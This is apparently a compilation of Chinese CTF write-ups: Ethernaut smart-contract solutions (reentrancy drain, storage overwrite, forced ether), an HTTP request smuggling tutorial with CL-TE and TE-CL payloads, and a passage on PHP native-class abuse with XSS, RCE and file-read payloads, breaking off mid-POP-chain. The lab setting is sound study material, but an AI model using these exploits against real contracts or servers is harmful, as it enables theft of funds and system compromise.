在这里我们要做的就是使用delegatecall调用delegate合约的pwn函数,这里就涉及到使用call指定调用函数的操作,当你给call传入的第一个参数是四个字节时,那么合约就会默认这四个字节就是你要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个bytes,函数前面就是带有括号括起来的参数类型列表的函数名称。 contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)}); force 题目 令合约的余额大于0即可通关。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Force {/*                   MEOW ?         /\_/\   /    ____/ o o \  /~____ =ø= / (______)__m_m) */} 分析 没有任何代码的合约怎么接受eth?这里的话以太坊里我们是可以强制给一个合约发送eth的,不管它要不要它都得收下,这是通过selfdestruct函数来实现的,如它的名字所显示的,这是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数,因为我们之前也提到了当合约直接收到一笔不知如何处理的eth时会触发fallback函数,然而selfdestruct的发送将无视这一点。 所以思路就是搞一个合约出来,然后自毁,强制给题目合约eth。 contract Force {    address payable levelInstance;    constructor (address payable _levelInstance) public {        levelInstance = _levelInstance;   }    function give() public payable {        selfdestruct(levelInstance);   } } vault 题目 使得locked == false 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Vault {  bool public locked;  bytes32 private password;  constructor(bytes32 _password) public {    locked = true;    password = _password; }  function unlock(bytes32 _password) public {    if (password == _password) {      locked = false;   } } } 分析 主要就是猜密码,看起来密码被private保护,不能被访问到,但是其实区块链上所有东西都是透明的,只要我们知道它存储的地方,就能访问到查询到。 使用web3的storageat函数即可查询到特定位置的数据信息。 web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))}); king 题目 合同代表一个非常简单的游戏:谁给它发送了比当前奖金还大的数量的以太,就成为新的国王。在这样的事件中,被推翻的国王获得了新的奖金,但是如果你提交的话那么合约就会回退,让level重新成为国王,而我们的目标就是阻止这一情况的发生。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract King {  address payable king;  uint public prize;  address payable public owner;  constructor() public payable {    owner = msg.sender;      king = msg.sender;    prize = msg.value; }  receive() external payable {    require(msg.value >= prize || msg.sender == owner);    king.transfer(msg.value);    king = msg.sender;    prize = msg.value; }  function _king() public view returns (address payable) {    return king; } } 分析 主要看receive函数,逻辑是先转账然后再更新king和prize,所以说,如果我们使得程序断在接受上,即可使得king不被更新。 所以代码是这样: pragma solidity ^0.6.0; contract attack{    constructor(address _addr) public payable{        _addr.call{value : msg.value}("");   }    receive() external payable{        revert();   } } 接受函数逻辑就是直接revert,这样攻击合约只要发生了转账,就会中止执行,这样transfer就不会成功,king也就不会更新。 reentrancy 题目 盗取合约中所有余额 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Reentrance {    using SafeMath for uint256;  mapping(address => uint) public balances;  function donate(address _to) public payable {    balances[_to] = balances[_to].add(msg.value); }  function balanceOf(address _who) public view returns (uint balance) {    return balances[_who]; }  function withdraw(uint _amount) public {    if(balances[msg.sender] >= _amount) {     (bool result,) = msg.sender.call{value:_amount}("");      if(result) {        _amount;     }      balances[msg.sender] -= _amount;   } }  receive() external payable {} } 分析 这个题目是很著名的re-entrance攻击,也就是重入攻击。漏洞点在于withdraw函数。可以看到他是先调用了msg.sender.call{value:_amount}("");然后再在balance里面将存储的余额减去amount。这里就是可重入攻击的关键所在了,因为该函数在发送ether后才更新余额,所以我们可以想办法让它卡在call.value这里不断给我们发送ether,因为call的参数是空,所以会调用攻击合约的fallback函数,我们在fallback函数里面再次调用withdraw,这样套娃,就能将合约里面的钱都偷出来。 pragma solidity ^0.8.0; interface IReentrance {    function withdraw(uint256 _amount) external; } contract Reentrance {    address levelInstance;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    function claim(uint256 _amount) public {        IReentrance(levelInstance).withdraw(_amount);   }    fallback() external payable {        IReentrance(levelInstance).withdraw(msg.value);   } } elevator 题目 另top==true 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface Building {  function isLastFloor(uint) external returns (bool); } contract Elevator {  bool public top;  uint public floor;  function goTo(uint _floor) public {    Building building = Building(msg.sender);    if (! building.isLastFloor(_floor)) {      floor = _floor;      top = building.isLastFloor(floor);   } } } 分析 合约并没有实现building,需要我们自己定义。从程序的分析来看,top不可能为true。所以我们需要在实现building的时候搞点事情,也就是第一次搞成false,第二次调用搞成true就好。 pragma solidity ^0.8.0; interface IElevator {    function goTo(uint256 _floor) external; } contract Elevator {    address levelInstance;    bool side = true;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    function isLastFloor(uint256) external returns (bool) {        side = !side;        return side;   }    function go() public {        IElevator(levelInstance).goTo(1);   } } privacy 题目 将locked成为false 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Privacy {  bool public locked = true;  uint256 public ID = block.timestamp;  uint8 private flattening = 10;  uint8 private denomination = 255;  uint16 private awkwardness = uint16(now);  bytes32[3] private data;  constructor(bytes32[3] memory _data) public {    data = _data; }    function unlock(bytes16 _key) public {    require(_key == bytes16(data[2]));    locked = false; }  /*    A bunch of super advanced solidity algorithms...      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.   ~|__(o.o)      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU  */ } 分析 和那个vault一样,只不过这次的data需要确定位置。 根据32bytes一格的标准,划分如下 //slot 0 bool public locked = true; //slot 1 uint256 public constant ID = block.timestamp; //slot 2 uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(now);//2 字节 //slot 3-5 bytes32[3] private data; 所以最终的data[2]就在slot5 所以最终查询: web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);}) naughty coin 题目 NaughtCoin是一个ERC20代币,你已经拥有了所有的代币。但是你只能在10年的后才能将他们转移。你需要想出办法把它们送到另一个地址,这样你就可以把它们自由地转移吗,让后通过将token余额置为0来完成此级别。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 {  // string public constant name = 'NaughtCoin';  // string public constant symbol = '0x0';  // uint public constant decimals = 18;  uint public timeLock = now + 10 * 365 days;  uint256 public INITIAL_SUPPLY;  address public player;  constructor(address _player)  ERC20('NaughtCoin', '0x0')  public {    player = _player;    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));    // _totalSupply = INITIAL_SUPPLY;    // _balances[player] = INITIAL_SUPPLY;    _mint(player, INITIAL_SUPPLY);    emit Transfer(address(0), player, INITIAL_SUPPLY); }    function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {    super.transfer(_to, _value); }  // Prevent the initial owner from transferring tokens until the timelock has passed  modifier lockTokens() {    if (msg.sender == player) {      require(now > timeLock);      _;   } else {     _;   } } } 分析 代码重载了EC20类,但是没有完全重载完,所以说可以直接调用ec20里面的函数进行转账。 contract.approve(player,toWei("1000000")) contract.transferFrom(player,contract.address,toWei("1000000")) preservation 题目 成为owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Preservation {  // public library contracts  address public timeZone1Library;  address public timeZone2Library;  address public owner;  uint storedTime;  // Sets the function signature for delegatecall  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {    timeZone1Library = _timeZone1LibraryAddress;    timeZone2Library = _timeZone2LibraryAddress;    owner = msg.sender; }  // set the time for timezone 1  function setFirstTime(uint _timeStamp) public {    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); }  // set the time for timezone 2  function setSecondTime(uint _timeStamp) public {    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } } // Simple library contract to set the time contract LibraryContract {  // stores a timestamp  uint storedTime;    function setTime(uint _time) public {    storedTime = _time; } } 分析 漏洞点还是在delegatecall上,由于不会改变上下文,所以说settime函数中,将storedtime赋值为time,如果delegatecall调用,其实是把slot1中的数据赋值为time。 所以说第一次setfirsttime将timezone1改掉,改成我们攻击合约地址,这样就可以调用魔改的settime函数。,然后就可以把owner改掉了。 攻击合约代码: pragma solidity ^0.8.0; contract Preservation {    address public timeZone1Library;    address public timeZone2Library;    address public owner;    function setTime(uint256 player) public {        owner = address(uint160(player));   } } 攻击流程: contract.setFirstTime(攻擊合約地址) contract.setFirstTime(player) recovery 题目 合约的创建者已经构建了一个非常简单的合约示例。任何人都可以轻松地创建新的代币。部署第一个令牌合约后,创建者发送了0.5ether以获取更多token。后来他们失去了合同地址。 目的是从丢失的合同地址中恢复(或移除)0.5ether。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Recovery {  //generate tokens  function generateToken(string memory _name, uint256 _initialSupply) public {    new SimpleToken(_name, msg.sender, _initialSupply);   } } contract SimpleToken {  using SafeMath for uint256;  // public variables  string public name;  mapping (address => uint) public balances;  // constructor  constructor(string memory _name, address _creator, uint256 _initialSupply) public {    name = _name;    balances[_creator] = _initialSupply; }  // collect ether in return for tokens  receive() external payable {    balances[msg.sender] = msg.value.mul(10); }  // allow transfers of tokens  function transfer(address _to, uint _amount) public {    require(balances[msg.sender] >= _amount);    balances[msg.sender] = balances[msg.sender].sub(_amount);    balances[_to] = _amount; }  // clean up after ourselves  function destroy(address payable _to) public {    selfdestruct(_to); } } 分析 主要的难点就是找不到合约的地址,不过所有交易都是透明的,可以直接在etherscan上查到交易,或者直接在metamask钱包里面查看交易就能获得合约的地址。找到合约地址后调用destroy函数就行。 pragma solidity ^0.8.0; interface ISimpleToken {    function destroy(address payable _to) external; } contract SimpleToken {    address levelInstance;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    function withdraw() public {        ISimpleToken(levelInstance).destroy(payable(msg.sender));   } } Alien Codex 题目 成为owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import '../helpers/Ownable-05.sol'; contract AlienCodex is Ownable {  bool public contact;  bytes32[] public codex;  modifier contacted() {    assert(contact);    _; }    function make_contact() public {    contact = true; }  function record(bytes32 _content) contacted public { codex.push(_content); }  function retract() contacted public {    codex.length--; }  function revise(uint i, bytes32 _content) contacted public {    codex[i] = _content; } } 分析 合约引入了ownable,这样合约中就多了个owner变量,这个变量经过查询是在slot 0中。 前十六个字节是contact 可以看到调用完makecontact就变成1了。 在这个合约里面,可以指定下标元素赋值,且没有检查。所以说我们只需要计算出codex数组和slot0的距离即可改变owner。 codex是一个32bytes的数组,在slot1中存储着他的长度。我们要计算出一个元素的下标,如果下标溢出,则会存储到slot0中。 在Solidity中动态数组内变量的存储位计算方法可以概括为: b[X] == SLOAD(keccak256(slot) + X),在这个合约中,开头的slot为1,也就是他的长度。(换句话说,数组中某个元素的slot = keccak(slot数组)+ index) 因此第一个元素位于slot keccak256(1) + 0,第二个元素位于slot keccak256(1) + 1,以此类推。 所以我们要计算的下标就是令2^256 = keccak256(slot) + index,即index = 2^256 - keccak256(slot) 攻击代码: pragma solidity ^0.8.0; interface IAlienCodex {    function revise(uint i, bytes32 _content) external; } contract AlienCodex {    address levelInstance;        constructor(address _levelInstance) {      levelInstance = _levelInstance;   }        function claim() public {        unchecked{            uint index = uint256(2)**uint256(256) - uint256(keccak256(abi.encodePacked(uint256(1))));            IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));       }   } } denial 题目 阻止其他人从合约中withdraw。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Denial {    using SafeMath for uint256;    address public partner; // withdrawal partner - pay the gas, split the withdraw    address payable public constant owner = address(0xA9E);    uint timeLastWithdrawn;    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances    function setWithdrawPartner(address _partner) public {        partner = _partner;   }    // withdraw 1% to recipient and 1% to owner    function withdraw() public {        uint amountToSend = address(this).balance.div(100);        // perform a call without checking return        // The recipient can revert, the owner will still get their share        partner.call{value:amountToSend}("");        owner.transfer(amountToSend);        // keep track of last withdrawal time        timeLastWithdrawn = now;        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);   }    // allow deposit of funds    receive() external payable {}    // convenience function    function contractBalance() public view returns (uint) {        return address(this).balance;   } } 分析 其实看到了call函数形式的转账就猜到差不多了,就是fallback函数的利用。在fallback函数中递归的调用wiithdraw函数,这样直到gas用光,就达到目的了。 pragma solidity ^0.8.0; interface IDenial {    function withdraw() external;    function setWithdrawPartner(address _partner) external; } contract Denial {    address levelInstance;    constructor(address _levelInstance) {        levelInstance = _levelInstance;   }    fallback() external payable {        IDenial(levelInstance).withdraw();   }    function set() public {        IDenial(levelInstance).setWithdrawPartner(address(this));   } } gatekeeper1 题目 pass三个check 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract GatekeeperOne {  using SafeMath for uint256;  address public entrant;  modifier gateOne() {    require(msg.sender != tx.origin);    _; }  modifier gateTwo() {    require(gasleft().mod(8191) == 0);    _; }  modifier gateThree(bytes8 _gateKey) {      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");    _; }  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {    entrant = tx.origin;    return true; } } 分析 第一个check直接用合约交互即可。 第三个check实际上是个截断问题,也就是说0x0000ffff == 0xffff,所以key值就是tx.origin & 0xffffffff0000ffff 主要的难点在于第二个check,需要设定执行到gatetwo时的gasleft % 8191 == 0。 达到这个有两个方式,第一种方式是把原本题目合约扒下来,放到debug测试网络,然后攻击合约与其交互,在debug中看下gasleft是多少然后调整算出需要的gasleft。但是不同编译器版本编译出的合约所耗费的gas并不相同,按照medium网站上说的方式到etherscan上查了下合约信息,由于没有上传源码并不能得到题目合约的 编译器版本,所以尽管我们在debug环境下算出了符合条件的gas,仍然不能保证会成功。 第二种方式就比较暴力,直接写一个for循环,每次的gas都从一个值递增1,这样一定会遇到一个符合条件的gas。 pragma solidity ^0.6.0; import  './SafeMath.sol'; interface IGatekeeperOne {    function enter(bytes8 _gateKey) external returns (bool); } contract GatekeeperOne {    address levelInstance;    constructor (address _levelInstance) public {        levelInstance = _levelInstance;   }    function open() public {        bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;        for(uint i = 0; i < 8191 ;i++)       {            // IGatekeeperOne(levelInstance).enter{gas: 114928}(key);            levelInstance.call{gas:114928 + i}(abi.encodeWithSignature("enter(bytes8)", key));       }   } } magicnumber 题目 要求使用总长度不超过10的bytecode编写出一个合约,返回值为42. 代码 pragma solidity ^0.4.24; contract MagicNum {  address public solver;  constructor() public {}  function setSolver(address _solver) public {    solver = _solver; }  /*    ____________/\\\_______/\\\\\\\\\_____             __________/\\\\\_____/\\\///////\\\___            ________/\\\/\\\____\///______\//\\\__             ______/\\\/\/\\\______________/\\\/___            ____/\\\/__\/\\\___________/\\\//_____             __/\\\\\\\\\\\\\\\\_____/\\\//________            _\///////////\\\//____/\\\/___________             ___________\/\\\_____/\\\\\\\\\\\\\\\_            ___________\///_____\///////////////__  */ } 分析 主要参考这个链接,说的也比较详细:https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2 值得注意的一点是合约代码的长度是不会算构造函数以及构造合约的init函数的。 gatekeeper2 题目 过三个检查 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract GatekeeperTwo {  address public entrant;  modifier gateOne() {    require(msg.sender != tx.origin);    _; }  modifier gateTwo() {    uint x;    assembly { x := extcodesize(caller()) }    require(x == 0);    _; }  modifier gateThree(bytes8 _gateKey) {    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);    _; }  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {    entrant = tx.origin;    return true; } } 分析 这道题目需要在magicnumber之后做。 第一个check就是部署个合约即可。 第三个利用异或的性质,将key设置为addr ^ 0xffffffffffffff即可。 第二个check比较有意思,是利用了assembler,不过含义如字面意思。 caller()指的就是攻击合约,extcodesize(caller())指的就是攻击合约的代码长度,需要使得其长度为0。 这里在之前的magicnumber提到过,合约代码长度不会算进去构造函数的长度,所以将攻击函数直接写进构造函数即可。 pragma solidity ^0.8.0; interface IGatekeeperTwo {    function enter(bytes8 _gateKey) external returns (bool); } contract GatekeeperTwo {    address levelInstance;        constructor(address _levelInstance) {      levelInstance = _levelInstance;      unchecked{          bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) - 1 );          IGatekeeperTwo(levelInstance).enter(key);     }   } } 由于新版本的solidity都会内置整数溢出检查,所以在攻击合约中uint64(0) - 1需要用uncheck修饰。
从一道CTF题到HTTP走私攻击
前言 最近在复盘之前做过的CTF题时,发现有一道比较有趣。是用的PHP 字符串解析特性Bypass的思路,但这道题远不止于此,还有另一种解法,HTTP请求走私攻击。想和作者一样做一些CTF相关题目,可以在https://www.yijinglab.com/pages/CTFLaboratory.jsp进行一些解题操作,实战靶场级的体验! RoarCTF 2019 Easy Calc 先看下源码: <?php error_reporting(0); if(!isset($_GET['num'])){    show_source(__FILE__); }else{        $str = $_GET['num'];        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\#39;,'\\','\^'];        foreach ($blacklist as $blackitem) {                if (preg_match('/' . $blackitem . '/m', $str)) {                        die("what are you want to do?");               }       }        eval('echo '.$str.';'); } ?> 用解析特性来做的话,大概思路是这样的:变量前加空格绕WAF,用scandir()和chr()看目录下有啥文件,file_get_contents读取flag文件。用解法二做的话,不需要考虑空格绕waf的问题,后面做法一致: 到这里估计很多人跟我当时一样懵圈了,又返回400又拿到了flag。这里先留个悬念 什么是HTTP请求走私 HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。在现阶段广泛使用的HTTP1.1协议,提供了两种不同方式来指定请求的结束位置,它们是Content-Length标头和Transfer-Encoding标头,Content-Length标头简单明了,它以字节为单位指定消息内容体的长度。 Transfer-Encoding标头用于指定消息体使用分块编码(ChunkedEncode),也就是说消息报文由一个或多个数据块组成,每个数据块大小以字节为单位(十六进制表示) 衡量,后跟换行符,然后是块内容,最重要的是:整个消息体以大小为0的块结束,也就是说解析遇到0数据块就结束。 这就导致如果我们使用如反向代理一类的服务器(后面简称为前端服务器)时,前端和后端系统就请求之间的边界没有达成一致的话,就会产生HTTP走私攻击,很容易使得攻击者绕过安全控制,未经授权访问敏感数据,并直接危害其他应用程序用户。 如何实现HTTP请求走私攻击 当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。 CL不为0时 该情况主要针对不含请求体的HTTP请求,主要以GET请求为主。假如我们的前端服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体时,会直接忽略掉Content-Length头,进而造成请求走私。 GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n \r\n GET / HTTP/1.1\r\n Host: example.com\r\n attack: 1\r\n hhh: 这个请求对于前端服务器来说,是一个正常的请求,但转发到后端时,因为后端不认Content-Length头,所以这个请求就变成了两个请求,当下一个请求到达时,就会拼接到上一个请求中 GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n \r\n GET / HTTP/1.1\r\n Host: example.com\r\n attack: 1\r\n hhh: GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n 这会存在什么危害呢?因为HTTP为无状态协议,并且很多网站使用Cookie来对用户状态进行标识,当我们在第二个数据包构造如删除用户、转账、修改密码等敏感操作的时候,起到盗取其他用户cookie的作用。 CL-TE CL-TE,即当我们发送内含两个请求头的请求包时,前端服务器只处理Content-Length,而后端服务器忽略Content-Length头,只处理Transfer-Encoding请求头。这里用Burpsuite的官方靶场进行演示: POST / HTTP/1.1 Host: ac911f721f9ee241c01763ef008600f8.web-security-academy.net Connection: close Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Language: zh-CN,zh;q=0.9 Cookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k Content-Length: 6 Transfer-Encoding: chunked 0 A 当我们用Burp两次重放该数据包,会得到返回结果: 解释一下为什么Content-Length的长度是6,因为Burp把\r\n给直接解释成换行了,实际请求体应该是这样: 0\r\n \r\n A 后端服务器读到0\r\n\r\n就会以为这个数据包已经读完了,最后的字符A会放到下一个请求解析。 TE-CL TE-CL,即当我们发送内含两个请求头的请求包时,前端服务器只处理Transfer-Encoding,而后端服务器忽略Transfer-Encoding头,只处理Content-Length请求头: POST / HTTP/1.1 Host: acae1fe41e622a9bc0c7189700950000.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Cookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ Content-length: 4 Transfer-Encoding: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0 前端服务器对于这个请求来说,会处理Transfer-Encoding,读到0\r\n\r\n的时候,认为是读取完毕了,就是把他当作一个完整请求,但后端服务器只认Content-length: 4,这就导致GPOST成为了一个新的请求。 CL-CL CL-CL即两个Content-length,当两者的值不同的时候,会返回400错误。但如果服务器不严格按照规范,就会发生前端服务器按照第一个Content-length头的值处理,后端服务器按照第二个Content-length头的值进行处理 回到最初 因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。
记一道2021浙江省赛的Web题
https://www.yijinglab.com/pages/CTFLaboratory.jsp 前景: 刚刚结束的浙江省网络安全大赛,其中Web类的第二题考察了POP链以及原生类的利用,在比赛期间只构造了POP链、得到flag的文件名,但是并没有利用原生类将flag文件完整读出来。这篇文章将会把这个题涉及到的知识点复现一遍,并且给出这个题详细的WP。 原生类: 报错类 Error 在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。 例如,有以下代码: <?php $a = $_GET['a']; $b = $_GET['b']; echo new $a($b); 当传入下方payload的时候,会产生XSS ?a=Error&b=<script>alert("Lxxx");</script> Exception 与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS。 ?a=Exception&b=<script>alert("Lxxx");</script> 这个时候可能就会有聪明又帅气的师傅们问了,那既然是会被PHP执行,那么可不可以往里面传一句话木马呢? 同样还是上方的测试代码,我们传以下payload: ?a=Exception&b=eval($_POST[1]); 可以看到,传入的一句话木马被原封不动的打印出来,因此在上方这种测试代码中,无法RCE。 不过如果将测试代码换一个写法,那么就可以RCE,我们将测试代码修改如下: <?php $a = $_GET['a']; $b = $_GET['b']; eval("echo new $a($b());"); 这个时候我们传入以下payload ?a=Exception&b=system('whoami') 这个时候虽然报错了,但是仍然可以RCE,RCE的主要原因不是Exception这个类,而是因为PHP会先执行括号内的内容,如果执行括号内的内容没有报错,再执行括号外的报错,没有报错的部分的命令同样被正常执行。因此如果将上方测试代码的第四行eval删去,则无法进行RCE。 遍历目录类 DirectoryIterator DirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项 假设我们有以下代码: <?php $a = $_GET['a']; $b = $_GET['b']; echo new $a($b); 这个时候我们传参如下: ?a=DirectoryIterator&b=. 在页面中返回了一个点(真的是一个点,不是显示屏上的污渍) 这个点代表是当前目录,如果我们想要匹配其余文件,可以使用glob协议 ?a=DirectoryIterator&b=glob://flag* 那么这个时候又有聪明又帅气的师傅要问了,如果这个时候不知道flag文件名怎么办? 答案是:暴力搜索 ?a=DirectoryIterator&b=glob://f[k-m]* glob协议同样是支持通配符,包括ascii码中的部分匹配,例如想要匹配大写字母,那么就写[@-[]表示ASCII码字符从@到[都允许匹配,也就是匹配大写字母。 FilesystemIterator 同样的,如果DirectoryIterator类因为奇奇怪怪的原因被禁用了,还有FilesystemIterator类可以代替,使用方法和DirectoryIterator类差不多,这里就不过多赘述。 GlobIterator GlobIterator和上方这两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容 ?a=GlobIterator&b=f[k-m]* 读取文件类 SplFileObject SplFileObject类为文件提供了一个面向对象接口 说句人话就是这个类可以用来读文件,具体怎么读呢?下面做个测试。 同样还是这个测试代码: <?php $a = $_GET['a']; $b = $_GET['b']; echo new $a($b); 我们传payload如下: ?a=SplFileObject&b=flag.php 利用这个类可以将我们的flag.php文件读出来 不过有细心又帅气的师傅要问了,你这怎么就读了一行啊,还读了一个假的flag,你这SplFileObject保熟嘛? 确实,SplFileObject这个类返回的仍然是一个迭代器,想要将内容完整的输出出来,最容易想到的自然是利用foreach遍历,不过还有没有其他方法将其读取出来呢? 我们先看官方文档,看看SplFileObject类的__construct方法到底是怎么样的? 可以看到,要求我们传入的参数是一个文件名,参数是文件名的方法联想到了什么?还有哪些方法是需要传入文件名的?(require,include,file_get_contents,file_put_contents等等等等) 而这些方法都有一个共同点就是,可以用伪协议。 虽然官方文档上没有说(也可能是因为我没看到),但是我们还是可以大胆的猜想,SplFileObject可以使用伪协议。 因此我们传入payload: ?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php 可以看到,这个时候flag.php就被我们完整的读取出来了。 其余类 本质上不能说是其余类,不过在文章的后半部分会讲解今年浙江网安省赛其中一道web题,其余没有在这道题中用到的原生类我就不在这里赘述了,给个类名让师傅们参考参考。 ReflectionMethod ReflectionClass SoapClient SimpleXMLElement ZipArchive 2021浙江网络安全省赛Web2的WP 题目代码如下: <?php error_reporting(0); class A1{    public $tmp1;    public $tmp2;    public function __construct()   {        echo "Enjoy Hacking!";   }    public function __wakeup()   {        $this->tmp1->hacking();   } } class A2 {    public $tmp1;    public $tmp2;    public function hacking()   {        echo "Hacked By Bi0x";   } } class A3 {    public $tmp1;    public $tmp2;    public function hacking()   {        $this->tmp2->get_flag();   } } class A4 {    public $tmp1='1919810';    public $tmp2;    public function get_flag()   {        echo "flag{".$this->tmp1."}";   } } class A5 {    public $tmp1;    public $tmp2;    public function __call($a,$b)   {        $f=$this->tmp1;        $f();   } } class A6 {    public $tmp1;    public $tmp2;    public function __toString()   {        $this->tmp1->hack4fun();        return "114514";   } } class A7 {    public $tmp1="Hello World!";    public $tmp2;    public function __invoke()   {        echo "114514".$this->tmp2.$this->tmp1;   } } class A8 {    public $tmp1;    public $tmp2;    public function hack4fun()   {        echo "Last step,Ganbadie~";        if(isset($_GET['DAS']))       {            $this->tmp1=$_GET['DAS'];       }        if(isset($_GET['CTF']))       {            $this->tmp2=$_GET['CTF'];       }        echo new $this->tmp1($this->tmp2);   } } if(isset($_GET['DASCTF'])) {    unserialize($_GET['DASCTF']); } else{    highlight_file(__FILE__); } 这道题的前半部分是POP链的相关内容,由于POP链不在这篇文章涉及到的知识点范围之内,因此就简略一点,直接给出我在做题的时候写的思路以及POC <?php class A1{    public $tmp1;    public $tmp2;    public function __construct()   { $this->tmp1 = new A3();        echo "Enjoy Hacking!"."<br/>";   }    public function __wakeup()   {        $this->tmp1->hacking();   } } class A2 {    public $tmp1;    public $tmp2;    public function hacking()   {        echo "Hacked By Bi0x";   } } class A3 {    public $tmp1;    public $tmp2; public function __construct() { $this->tmp2 = new A4(); }    public function hacking()   {        $this->tmp2->get_flag();   } } class A4 {    public $tmp1;    public $tmp2; public function __construct() { $this->tmp1 = new A6(); }    public function get_flag()   {        echo "flag{".$this->tmp1."}";   } } class A5 {    public $tmp1 = "";    public $tmp2;    public function __call($a,$b)   {        $f=$this->tmp1;        $f();   } } class A6 {  